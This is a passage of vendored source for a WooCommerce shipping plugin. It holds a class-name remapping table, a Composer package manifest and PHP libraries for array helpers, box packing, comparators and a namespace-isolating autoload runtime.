'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IRuleMigration' => 'Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IRuleMigration',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorage' => 'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorage',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageAccess' => 'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageAccess',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageRecord' => 'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageRecord',
'WbsVendors\\Dgm\\Shengine\\Migrations\\MigrationService' => 'Dgm\\Shengine\\Migrations\\MigrationService',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\ArrayStorage' => 'Dgm\\Shengine\\Migrations\\Storage\\ArrayStorage',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\StorageRecord' => 'Dgm\\Shengine\\Migrations\\Storage\\StorageRecord',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\WordpressOptions' => 'Dgm\\Shengine\\Migrations\\Storage\\WordpressOptions',
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\PackageConverter' => 'Dgm\\Shengine\\Woocommerce\\Converters\\PackageConverter',
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\RateConverter' => 'Dgm\\Shengine\\Woocommerce\\Converters\\RateConverter',
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\WoocommerceItem' => 'Dgm\\Shengine\\Woocommerce\\Model\\Item\\WoocommerceItem',
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\WpmlAwareItem' => 'Dgm\\Shengine\\Woocommerce\\Model\\Item\\WpmlAwareItem',
'WbsVendors\\Dgm\\SimpleProperties\\SimpleProperties' => 'Dgm\\SimpleProperties\\SimpleProperties',
'WbsVendors\\Dgm\\WcTools\\WcTools' => 'Dgm\\WcTools\\WcTools',
'WbsVendors_DgmWpDismissibleNotices' => 'DgmWpDismissibleNotices',
'WbsVendors_DgmWpPluginBootstrapGuard' => 'DgmWpPluginBootstrapGuard',
'WbsVendors\\Dgm\\PluginServices\\IService' => 'Dgm\\PluginServices\\IService',
'WbsVendors\\Dgm\\PluginServices\\IServiceReady' => 'Dgm\\PluginServices\\IServiceReady',
'WbsVendors\\Dgm\\PluginServices\\ServiceInstaller' => 'Dgm\\PluginServices\\ServiceInstaller',
),
'func' =>
array (
),
'const' =>
array (
),
),
);

View File

@@ -0,0 +1,493 @@
[
{
"name": "dangoodman/arrays",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-arrays.git",
"reference": "0ba562ebbad45adf287d9d94e3193737523dd24c"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/arrays/dangoodman-arrays-1.0.0-60e036.zip",
"reference": "0ba562ebbad45adf287d9d94e3193737523dd24c",
"shasum": "9eb3c199b1cf425c7783ac182a38a2a01fc8da95"
},
"require": {
"php": "^5.3"
},
"time": "2017-01-16T14:29:01+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"Arrays.php"
]
}
},
{
"name": "dangoodman/boxpacking",
"version": "1.0.3",
"version_normalized": "1.0.3.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-box-packing.git",
"reference": "380f2942c4e246fc7f3837e1b5c7671f1419efb3"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/boxpacking/dangoodman-boxpacking-1.0.3-3d4a27.zip",
"reference": "380f2942c4e246fc7f3837e1b5c7671f1419efb3",
"shasum": "501e73781522d2c6ef227ff70942bbd2a08bf01e"
},
"require": {
"php": ">=5.3"
},
"require-dev": {
"phpunit/phpunit": "*"
},
"time": "2016-04-28T10:54:55+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"BoxPacking\\": "src/"
}
}
},
{
"name": "dangoodman/class-name-aware",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-class-name-aware.git",
"reference": "751c281f1e46d2c4f12c8a1d11879285b1e44bcb"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/class-name-aware/dangoodman-class-name-aware-1.0.0-56054d.zip",
"reference": "751c281f1e46d2c4f12c8a1d11879285b1e44bcb",
"shasum": "6b42fd18491a95f3bda1af179fddfc6f6184908f"
},
"require": {
"php": "^5.3"
},
"time": "2017-01-16T14:39:39+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"ClassNameAware.php"
]
}
},
{
"name": "dangoodman/comparator",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-comparator.git",
"reference": "e9ed812ea54194bce2800b223b053c1e030b9f94"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/comparator/dangoodman-comparator-1.0.0-ec2078.zip",
"reference": "e9ed812ea54194bce2800b223b053c1e030b9f94",
"shasum": "3ea5b1ec1c4a3299afe085d907e99e769ccc3e0f"
},
"require": {
"php": "^5.3"
},
"require-dev": {
"phpunit/phpunit": "5.3.*"
},
"time": "2017-01-15T13:38:35+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Comparator\\": "src/"
}
}
},
{
"name": "dangoodman/composer-capsule-runtime",
"version": "dev-master",
"version_normalized": "9999999-dev",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/composer-capsule-runtime.git",
"reference": "c7aa54112dfdc97c3db71fe2aebb526227889e8a"
},
"require": {
"php": "^5.3.0"
},
"time": "2017-04-22T20:57:56+00:00",
"type": "library",
"extra": {
"composer-capsule": {
"processing": {
"skipRuntimeHooks": true
}
}
},
"installation-source": "source",
"autoload": {
"files": [
"autoload.php"
]
}
},
{
"name": "dangoodman/deferred",
"version": "1.0.1",
"version_normalized": "1.0.1.0",
"source": {
"type": "git",
"url": "https://github.com/dangoodman/deferred.git",
"reference": "cf0d7d8370c0f7225da872a3a2e3c8f1a5bc4205"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/dangoodman/deferred/zipball/cf0d7d8370c0f7225da872a3a2e3c8f1a5bc4205",
"reference": "cf0d7d8370c0f7225da872a3a2e3c8f1a5bc4205",
"shasum": ""
},
"require": {
"php": ">=5.3.0"
},
"require-dev": {
"phpunit/phpunit": "~3.7"
},
"time": "2017-04-26T11:54:04+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"Deferred.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"description": "Deferred callback execution based on RAII"
},
{
"name": "dangoodman/number-unit",
"version": "1.1.0",
"version_normalized": "1.1.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-number-unit.git",
"reference": "0fa92f489d4329691e3b8b5950631b65dcaeb1c7"
},
"require": {
"dangoodman/comparator": "^1.0",
"php": "^5.3"
},
"require-dev": {
"phpunit/phpunit": "5.3.*"
},
"time": "2017-10-21T13:06:16+00:00",
"type": "library",
"installation-source": "source",
"autoload": {
"psr-4": {
"Dgm\\NumberUnit\\": "src/"
}
}
},
{
"name": "dangoodman/range",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-range.git",
"reference": "d883da0f503905191070af25169c976520ce4f6a"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/range/dangoodman-range-1.0.0-a7064c.zip",
"reference": "d883da0f503905191070af25169c976520ce4f6a",
"shasum": "1b35e276b2ad5cc5e2ce1152d5ee44405e67d99d"
},
"require": {
"dangoodman/comparator": "^1.0",
"dangoodman/simple-properties": "^1.0",
"php": "^5.3"
},
"time": "2017-01-17T06:20:48+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Range\\": "src/"
}
}
},
{
"name": "dangoodman/shengine",
"version": "1.2.2",
"version_normalized": "1.2.2.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-shengine.git",
"reference": "c3440a709445636a5c4d49d18a51fc1e225f89c6"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/shengine/dangoodman-shengine-1.2.2-68790b.zip",
"reference": "c3440a709445636a5c4d49d18a51fc1e225f89c6",
"shasum": "50413eb7b1b0af2e400862485620cb9f0315f12e"
},
"require": {
"dangoodman/arrays": "^1.0",
"dangoodman/boxpacking": "^1.0",
"dangoodman/class-name-aware": "^1.0",
"dangoodman/comparator": "^1.0",
"dangoodman/number-unit": "^1.1.0",
"dangoodman/range": "^1.0",
"dangoodman/simple-properties": "^1.0",
"php": "^5.3"
},
"require-dev": {
"phpunit/phpunit": "5.3.*"
},
"time": "2019-04-05T19:38:48+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Shengine\\": "src/"
}
},
"autoload-dev": {
"psr-4": {
"Dgm\\Shengine\\Tests\\": "tests/"
}
}
},
{
"name": "dangoodman/shengine-migrations",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-shengine-migrations.git",
"reference": "72dd379ff41e3920bc3b161607c2794e27a3196e"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/shengine-migrations/dangoodman-shengine-migrations-1.0.0-831a62.zip",
"reference": "72dd379ff41e3920bc3b161607c2794e27a3196e",
"shasum": "d470129f196e7eab36423a4f4345a7718a3fa7e8"
},
"require": {
"dangoodman/wc-tools": "^2.0.0",
"dangoodman/wp-plugin-services": "^1.0.0",
"php": "^5.3"
},
"require-dev": {
"php": "^5.6",
"phpunit/phpunit": "^7"
},
"time": "2019-07-28T18:00:08+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Shengine\\Migrations\\": "src/"
}
},
"autoload-dev": {
"psr-4": {
"Dgm\\Shengine\\Migrations\\Tests\\": [
"tests",
"tests/inc"
]
}
}
},
{
"name": "dangoodman/shengine-wc-converters",
"version": "1.5.1",
"version_normalized": "1.5.1.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-shengine-wc-converters.git",
"reference": "d711d845f1df197c2529488c2fd3f117d363148d"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/shengine-wc-converters/dangoodman-shengine-wc-converters-1.5.1-85f533.zip",
"reference": "d711d845f1df197c2529488c2fd3f117d363148d",
"shasum": "ae5582643ac5da713f80d4e256a716d845ba6c64"
},
"require": {
"dangoodman/arrays": "^1.0",
"dangoodman/deferred": "^1.0.1",
"dangoodman/shengine": "^1.1.0",
"dangoodman/shengine-wc-item": "^1.0",
"php": ">=5.3"
},
"require-dev": {
"phpunit/phpunit": "^7"
},
"time": "2019-04-15T17:48:53+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Shengine\\Woocommerce\\Converters\\": "src/"
}
}
},
{
"name": "dangoodman/shengine-wc-item",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-shengine-wc-item.git",
"reference": "d3c972fa8bbf8f357956c50f20a5dd9a62ab81d9"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/shengine-wc-item/dangoodman-shengine-wc-item-1.0.0-d92bfe.zip",
"reference": "d3c972fa8bbf8f357956c50f20a5dd9a62ab81d9",
"shasum": "1fe04cf78cccf63587c135b2d4c2041394c57c32"
},
"require": {
"dangoodman/arrays": "^1.0",
"dangoodman/deferred": "^1.0",
"dangoodman/shengine": "^1.0",
"php": ">=5.3"
},
"time": "2017-01-17T13:20:47+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\Shengine\\Woocommerce\\Model\\Item\\": "src/"
}
}
},
{
"name": "dangoodman/simple-properties",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-simple-properties.git",
"reference": "4dc103978830f83b655812323966e54cb6006e4e"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/simple-properties/dangoodman-simple-properties-1.0.0-61db1f.zip",
"reference": "4dc103978830f83b655812323966e54cb6006e4e",
"shasum": "a30611ee0a6de25d75d0a3ff66be0ff88bdddf87"
},
"require": {
"php": "^5.3"
},
"time": "2017-01-15T13:20:14+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"SimpleProperties.php"
]
}
},
{
"name": "dangoodman/wc-tools",
"version": "2.0.1",
"version_normalized": "2.0.1.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-wc-tools.git",
"reference": "6db8e79ac493d59657a8aaabe16f67e25de61905"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/wc-tools/dangoodman-wc-tools-2.0.1-ec636d.zip",
"reference": "6db8e79ac493d59657a8aaabe16f67e25de61905",
"shasum": "ca05d540ac18566c557cc274056a8bd07155af47"
},
"require": {
"php": "^5.3"
},
"time": "2019-07-28T20:26:34+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"WcTools.php"
]
}
},
{
"name": "dangoodman/wp-plugin-bootstrap-guard",
"version": "2.0.0",
"version_normalized": "2.0.0.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-wp-plugin-bootstrap-guard.git",
"reference": "263a8599fc25f037b660d118f4702d732310a16b"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/wp-plugin-bootstrap-guard/dangoodman-wp-plugin-bootstrap-guard-2.0.0-dad255.zip",
"reference": "263a8599fc25f037b660d118f4702d732310a16b",
"shasum": "8c5155dc839fd839038a0ab7a1907d5aefaf5f5e"
},
"require": {
"php": "^5.0"
},
"time": "2018-09-10T14:21:21+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"classmap": [
"DgmWpPluginBootstrapGuard.php",
"DgmWpDismissibleNotices.php"
]
}
},
{
"name": "dangoodman/wp-plugin-services",
"version": "1.1.1",
"version_normalized": "1.1.1.0",
"source": {
"type": "git",
"url": "git@bitbucket.org:dangoodman/lib-wp-plugin-services.git",
"reference": "a0aa2ffeb15bb257f06141b9212545f0dae33444"
},
"dist": {
"type": "zip",
"url": "file:///D:/projects/all/satis/build/output/dist/dangoodman/wp-plugin-services/dangoodman-wp-plugin-services-1.1.1-600d77.zip",
"reference": "a0aa2ffeb15bb257f06141b9212545f0dae33444",
"shasum": "93390c8b2f9eabaa7531ac5185a3654a8dc3dd76"
},
"require": {
"php": "^5.3"
},
"require-dev": {
"php": "^5.6",
"phpunit/phpunit": "^7"
},
"time": "2019-07-30T19:41:54+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Dgm\\PluginServices\\": "src/"
}
}
}
]

View File

@@ -0,0 +1,73 @@
<?php
namespace WbsVendors\Dgm\Arrays;
use Traversable;
class Arrays
{
/**
* Built-in array_map() emits a ridiculous 'An error occurred while invoking the map callback' warning
* if map callback throws an exception. This custom implementation fixes this. It also changes arguments
* order to make them consistent with other functions.
*
* @param array|Traversable $list
* @param callable $callback
* @return array
*/
public static function map($list, $callback)
{
$result = is_array($list) ? $list : array();
foreach ($list as $key => $item) {
$result[$key] = call_user_func(\WbsVendors_CCR::kallable($callback), $item);
}
return $result;
}
/**
* Built-in array_reduce() emits a ridiculous 'An error occurred while invoking the reduction callback' warning
* if reduce callback throws an exception. This custom implementation fixes this.
*
* @param array|Traversable $input
* @param callable $callback
* @param mixed $carry
* @return array
*/
public static function reduce($input, $callback, $carry = null)
{
foreach ($input as $item) {
$carry = call_user_func(\WbsVendors_CCR::kallable($callback), $carry, $item);
}
return $carry;
}
/**
* Built-in array_filter() emits a ridiculous 'An error occurred while invoking the filter callback' warning
* if filter callback throws an exception. This custom implementation fixes this.
*
* @param array|Traversable $input
* @param callable $callback
* @return array
*/
public static function filter($input, $callback = null)
{
if (!isset($callback)) {
$callback = function($item) {
return !empty($item);
};
}
$result = is_array($input) ? $input : array();
foreach ($input as $key => $item) {
if (call_user_func(\WbsVendors_CCR::kallable($callback), $item)) {
$result[$key] = $item;
} else {
unset($result[$key]);
}
}
return $result;
}
}

View File

@@ -0,0 +1,111 @@
<?php
namespace WbsVendors\BoxPacking;
class Packer
{
public function __construct($precision = 1, $checkGrossVolume = true)
{
$this->precision = $precision;
$this->checkGrossVolume = $checkGrossVolume;
}
public function canPack($box, $items)
{
$box = @reset(self::prepareBoxes(array($box), $this->precision, false));
if (!$box) {
return false;
}
$items = self::orderByPerimiter(self::prepareBoxes($items, $this->precision, true));
if (!$items) {
return true;
}
if ($this->checkGrossVolume && self::calculateVolume($items) > self::calculateVolume(array($box))) {
return false;
}
return self::place($box, $items);
}
private static function place($box, $items)
{
$rotate = function($box) {
return array($box[1], $box[2], $box[0]);
};
$sideBox = $rotate($box);
$sideItems = array_map($rotate, $items);
$projections = \WbsVendors\BoxPacking\Utils::generateProjections($items);
$sideProjections = \WbsVendors\BoxPacking\Utils::generateProjections($sideItems);
unset($items, $sideItems);
$sideSkyline = new \WbsVendors\BoxPacking\Skyline($sideBox);
\WbsVendors\BoxPacking\Utils::fillSkyline($sideProjections, $sideSkyline, function ($bestItemIndex, $bestSideProjection) use ($box, &$sideProjections, &$projections) {
$frontSkyline = new \WbsVendors\BoxPacking\Skyline(array($box[0], $bestSideProjection[0], $bestSideProjection[1]));
$frontSkyline->insertBox(array($bestSideProjection[2], $bestSideProjection[0], $bestSideProjection[1]));
unset($projections[$bestItemIndex], $sideProjections[$bestItemIndex]);
\WbsVendors\BoxPacking\Utils::fillSkyline($projections, $frontSkyline, function ($bestItemIndex) use (&$sideProjections, &$projections) {
unset($projections[$bestItemIndex], $sideProjections[$bestItemIndex]);
});
});
return empty($sideProjections);
}
private static function calculateVolume(array $boxes)
{
$volume = 0;
foreach ($boxes as $box) {
$volume += $box[0] * $box[1] * $box[2];
}
return $volume;
}
private static function orderByPerimiter(array $boxes)
{
usort($boxes, function($b1, $b2) {
$diff = array_sum($b2) - array_sum($b1);
return ($diff > 0) - ($diff < 0);
});
return $boxes;
}
private static function prepareBoxes(array $boxes, $precision = 0, $roundUp = true)
{
return array_filter(array_map(function($box) use($precision, $roundUp) {
// Convert box dimensions to integer
foreach ($box as &$dimension) {
$dimension *= $precision;
$dimension = $roundUp ? ceil($dimension) : floor($dimension);
$dimension = (int)$dimension;
}
// Layout boxes uniformly
rsort($box, SORT_DESC);
if (end($box) == 0) {
return null;
}
return $box;
}, $boxes));
}
private $precision;
private $checkGrossVolume;
}

View File

@@ -0,0 +1,172 @@
<?php
namespace WbsVendors\BoxPacking;
use OverflowException;
class Skyline
{
const MAX_FITNESS_VALUE = 3;
public function __construct(array $bounds)
{
$this->levels = array();
$this->levels[] = array(-1, $bounds[1]);
$this->levels[] = array(0, 0);
$this->levels[] = array($bounds[0], $bounds[1]);
$this->setLowestLevelIndex(1);
$this->depth = $bounds[2];
}
public function isFull()
{
return count($this->levels) < 2;
}
public function insertBox(array $box)
{
if ($this->isFull()) {
throw new OverflowException("Skyline is full");
}
$lowestLevelIndex = $this->lowestLevelIndex;
// Insert a new level before the alignment level
$newLevelPos = $this->alignLevel[0] + ($this->alignLeft ? 0 : -$box[0]);
$newLevelHeight = $box[1] + $this->lowestLevel[1];
$newLevelIndex = $this->alignLevelIndex;
array_splice($this->levels, $newLevelIndex, 0, array(array($newLevelPos, $newLevelHeight)));
if ($newLevelIndex <= $lowestLevelIndex) {
$lowestLevelIndex++;
$this->lowestLevel[0] += $box[0];
}
// Box fills gap exactly
if ($this->levels[$lowestLevelIndex + 1][0] - $this->lowestLevel[0] == 0) {
// Remove null-width current level
unset($this->levels[$lowestLevelIndex]);
$this->levels = array_values($this->levels);
if ($lowestLevelIndex < $newLevelIndex) {
$newLevelIndex--;
}
unset($lowestLevelIndex);
}
// Remove consecutive levels
foreach (array($newLevelIndex + 1, $newLevelIndex) as $idx) {
if ($this->levels[$idx][1] == $this->levels[$idx - 1][1]) {
unset($this->levels[$idx]);
if (isset($lowestLevelIndex) && $idx < $lowestLevelIndex) {
$lowestLevelIndex--;
}
}
}
$this->levels = array_values($this->levels);
if ($this->isFull()) {
return;
}
if (!isset($lowestLevelIndex)) {
$lowestLevelIndex = 1;
$min = PHP_INT_MAX;
foreach ($this->levels as $idx => $level) {
if (($h = $level[1]) < $min) {
$min = $h;
$lowestLevelIndex = $idx;
if ($min == 0) {
break;
}
}
}
}
$this->setLowestLevelIndex($lowestLevelIndex);
}
public function getFitnessValue(array $box)
{
if ($box[0] > $this->gapWidth || $box[1] > $this->gapHeight || $box[2] > $this->depth) {
return -1;
}
$score = 0;
if (abs($this->anotherLevel[0] - $this->alignLevel[0]) == $box[0]) {
$score += 2;
}
$boxheight = $this->lowestLevel[0] + $box[1];
if ($boxheight == $this->previousLevel[1] ||
$boxheight == $this->nextLevel[1]) {
$score += 1;
}
return $score;
}
public function fillCurrentGap()
{
$this->insertBox(array(
$this->gapWidth,
min($this->previousLevel[1], $this->nextLevel[1]) - $this->lowestLevel[1],
$this->depth
));
}
private $depth;
private $levels;
private $lowestLevelIndex;
private $lowestLevel;
private $previousLevel;
private $nextLevel;
private $gapWidth;
private $gapHeight;
private $alignLeft;
private $alignLevelIndex;
private $alignLevel;
private $anotherLevelIndex;
private $anotherLevel;
private function setLowestLevelIndex($index)
{
$this->lowestLevelIndex = $index;
$this->lowestLevel = &$this->levels[$index];
$this->previousLevel = &$this->levels[$index - 1];
$this->nextLevel = &$this->levels[$index + 1];
$this->gapWidth = $this->nextLevel[0] - $this->lowestLevel[0];
$this->gapHeight = $this->levels[0][1] - $this->lowestLevel[1];
$this->alignLeft = $this->previousLevel[1] >= $this->nextLevel[1];
$this->alignLevelIndex = $index + (int)(!$this->alignLeft);
$this->alignLevel = &$this->levels[$this->alignLevelIndex];
$this->anotherLevelIndex = $index + (int)($this->alignLeft);
$this->anotherLevel = &$this->levels[$this->anotherLevelIndex];
}
}

View File

@@ -0,0 +1,67 @@
<?php
namespace WbsVendors\BoxPacking;
class Utils
{
public static function fillSkyline(&$projections, \WbsVendors\BoxPacking\Skyline $skyline, $insertCallback)
{
while ($projections && !$skyline->isFull()) {
list($bestItemIndex, $itemProjection) = self::findBestFitItem($projections, $skyline);
if (isset($bestItemIndex)) {
$skyline->insertBox($itemProjection);
call_user_func(\WbsVendors_CCR::kallable($insertCallback), $bestItemIndex, $itemProjection);
} else {
$skyline->fillCurrentGap();
}
}
}
public static function generateProjections(array $boxes)
{
return array_map(function($box) {
return array_unique(array(
$box,
array($box[0], $box[2], $box[1]),
array($box[1], $box[0], $box[2]),
array($box[1], $box[2], $box[0]),
array($box[2], $box[0], $box[1]),
array($box[2], $box[1], $box[0]),
), SORT_REGULAR);
}, $boxes);
}
private static function findBestFitItem($projections, \WbsVendors\BoxPacking\Skyline $skyline)
{
$bestItemIndex = null;
$bestItemProjection = null;
$bestFitnessValue = -1;
foreach ($projections as $idx => $list) {
foreach ($list as $projection) {
$fitness = $skyline->getFitnessValue($projection);
if ($fitness > $bestFitnessValue) {
$bestFitnessValue = $fitness;
$bestItemIndex = $idx;
$bestItemProjection = $projection;
if ($bestFitnessValue == \WbsVendors\BoxPacking\Skyline::MAX_FITNESS_VALUE) {
break;
}
}
}
if ($bestFitnessValue == \WbsVendors\BoxPacking\Skyline::MAX_FITNESS_VALUE) {
break;
}
}
return array($bestItemIndex, $bestItemProjection);
}
}

View File

@@ -0,0 +1,11 @@
<?php
namespace WbsVendors\Dgm\ClassNameAware;
class ClassNameAware
{
public static function className()
{
return get_called_class();
}
}

View File

@@ -0,0 +1,45 @@
<?php
namespace WbsVendors\Dgm\Comparator;
use InvalidArgumentException;
abstract class AbstractComparator implements \WbsVendors\Dgm\Comparator\IComparator
{
public function equal($a, $b)
{
return $this->compare($a, $b) == 0;
}
public function less($a, $b, $orEqual = false)
{
return $this->compare($a, $b) <= ($orEqual ? 0 : -1);
}
public function greater($a, $b, $orEqual = false)
{
return $this->compare($a, $b) >= ($orEqual ? 0 : 1);
}
public function compare($a, $b, $operator = null)
{
$cmp = $this->cmp($a, $b);
if (!isset($operator)) {
return $cmp;
}
$operator = (string)$operator;
switch ($operator) {
case '<': return $cmp < 0;
case '>': return $cmp > 0;
case '<=': return $cmp <= 0;
case '>=': return $cmp >= 0;
case '=':
case '==': return $cmp == 0;
default: throw new InvalidArgumentException("Unknown comparison operator '{$operator}'");
}
}
abstract protected function cmp($a, $b);
}

View File

@@ -0,0 +1,21 @@
<?php
namespace WbsVendors\Dgm\Comparator;
interface IComparator
{
/**
* @param mixed $a
* @param mixed $b
* @return number -1|0|1
*/
function compare($a, $b);
# Helper methods.
# Must be implemented as C#-like extension methods, i.e. calling compare() to compute their results.
function equal($a, $b);
function less($a, $b, $orEqual = false);
function greater($a, $b, $orEqual = false);
}

View File

@@ -0,0 +1,67 @@
<?php
namespace WbsVendors\Dgm\Comparator;
use InvalidArgumentException;
/**
* @property-read number|null $precision
*/
class NumberComparator extends \WbsVendors\Dgm\Comparator\AbstractComparator
{
public function __construct($precision = null)
{
if (isset($precision) && $precision == 0) {
throw new InvalidArgumentException('Comparing numbers with zero precision is meaningless.');
}
$this->precision = $precision;
}
public function __get($property)
{
if ($property === 'precision') {
return $this->{$property};
}
return null;
}
public function __isset($property)
{
if ($property === 'precision') {
return isset($this->{$property});
}
return false;
}
protected function cmp($a, $b)
{
$a = $this->normalize($a);
$b = $this->normalize($b);
$cmp = ($a == $b) ? 0 : ($a < $b ? -1 : 1);
return $cmp;
}
protected function normalize($value)
{
if (!is_numeric($value)) {
$type = gettype($value);
throw new InvalidArgumentException(
"Number comparator expects numeric values to be compared, value '{$value}' of type '{$type}' given.");
}
$value = is_int($value) ? $value : (float)$value;
if (isset($this->precision)) {
$value = round($value * $this->precision) / $this->precision;
}
return $value;
}
private $precision;
}

View File

@@ -0,0 +1,26 @@
<?php
namespace WbsVendors\Dgm\Comparator;
use InvalidArgumentException;
class StringComparator extends \WbsVendors\Dgm\Comparator\AbstractComparator
{
protected function cmp($a, $b)
{
$a = $this->normalize($a);
$b = $this->normalize($b);
return strcmp($a, $b);
}
private function normalize($value)
{
if (!is_scalar($value)) {
$type = gettype($value);
throw new InvalidArgumentException(
"String comparator expects scalars to be compared as strings, '{$type}' given.");
}
return (string)$value;
}
}

View File

@@ -0,0 +1,17 @@
<?php
require_once(__DIR__.'/src/Runtime.php');
require_once(__DIR__.'/src/Wrapper.php');
require_once(__DIR__.'/src/CCR.php');
return function($remappedNamesRegistryFile)
{
/** @noinspection PhpIncludeInspection */
$capsuled = require($remappedNamesRegistryFile);
WbsVendors_CCR::$instance = new \WbsVendors\Dgm\ComposerCapsule\Runtime\Runtime(
new \WbsVendors\Dgm\ComposerCapsule\Runtime\Wrapper(
$capsuled['capsule'],
$capsuled['uncapsule']
)
);
};

View File

@@ -0,0 +1,21 @@
<?php
use Dgm\ComposerCapsule\Runtime\Runtime;
/**
* @method static bool spl_autoload_register($autoloader, $throw, $prepend)
* @method static bool spl_autoload_unregister($autoloader)
* @method static callable kallable($callable)
* @method static mixed klass($class)
*/
class WbsVendors_CCR
{
static function __callStatic($name, $arguments)
{
return call_user_func_array(array(self::$instance, $name), $arguments);
}
/** @var Runtime */
static $instance;
}

View File

@@ -0,0 +1,158 @@
<?php
namespace WbsVendors\Dgm\ComposerCapsule\Runtime;
class Runtime
{
public function __construct(\WbsVendors\Dgm\ComposerCapsule\Runtime\Wrapper $wrapper)
{
$this->wrapper = $wrapper;
}
public function spl_autoload_register($autoloader = null, $throw = true, $prepend = false)
{
$args = func_get_args();
$originalCallableId = null;
if ($args) {
$callable = $args[0];
$originalCallableId = self::getCallableId($callable);
if (isset($this->autoloaders[$originalCallableId])) {
$callable = $this->autoloaders[$originalCallableId];
} else {
$wrapper = $this->wrapper;
$callable = function () use ($callable, $wrapper) {
$args = func_get_args();
if ($args) {
$wrapper->unwrap($args[0], \WbsVendors\Dgm\ComposerCapsule\Runtime\Wrapper::REFKIND_CLASS);
}
$result = call_user_func_array($callable, $args);
return $result;
};
}
$args[0] = $callable;
}
$result = call_user_func_array('spl_autoload_register', $args);
if ($result && isset($originalCallableId)) {
$this->autoloaders[$originalCallableId] = $args[0];
}
return $result;
}
public function spl_autoload_unregister($autoload_function)
{
$args = func_get_args();
$originalCallableId = null;
if ($args) {
$callable = $args[0];
$originalCallableId = self::getCallableId($callable);
if (isset($this->autoloaders[$originalCallableId])) {
$callable = $this->autoloaders[$originalCallableId];
}
$args[0] = $callable;
}
$result = call_user_func_array('spl_autoload_unregister', $args);
if ($result && isset($originalCallableId)) {
unset($this->autoloaders[$originalCallableId]);
}
return $result;
}
public function kallable($callable)
{
$tmp = $callable;
if (is_string($tmp)) {
if (strpos($tmp, '::') === false) {
if ($this->wrapper->wrap($tmp, \WbsVendors\Dgm\ComposerCapsule\Runtime\Wrapper::REFKIND_FUNC)) {
$callable = $tmp;
}
} else {
$tmp = explode('::', $tmp, 3);
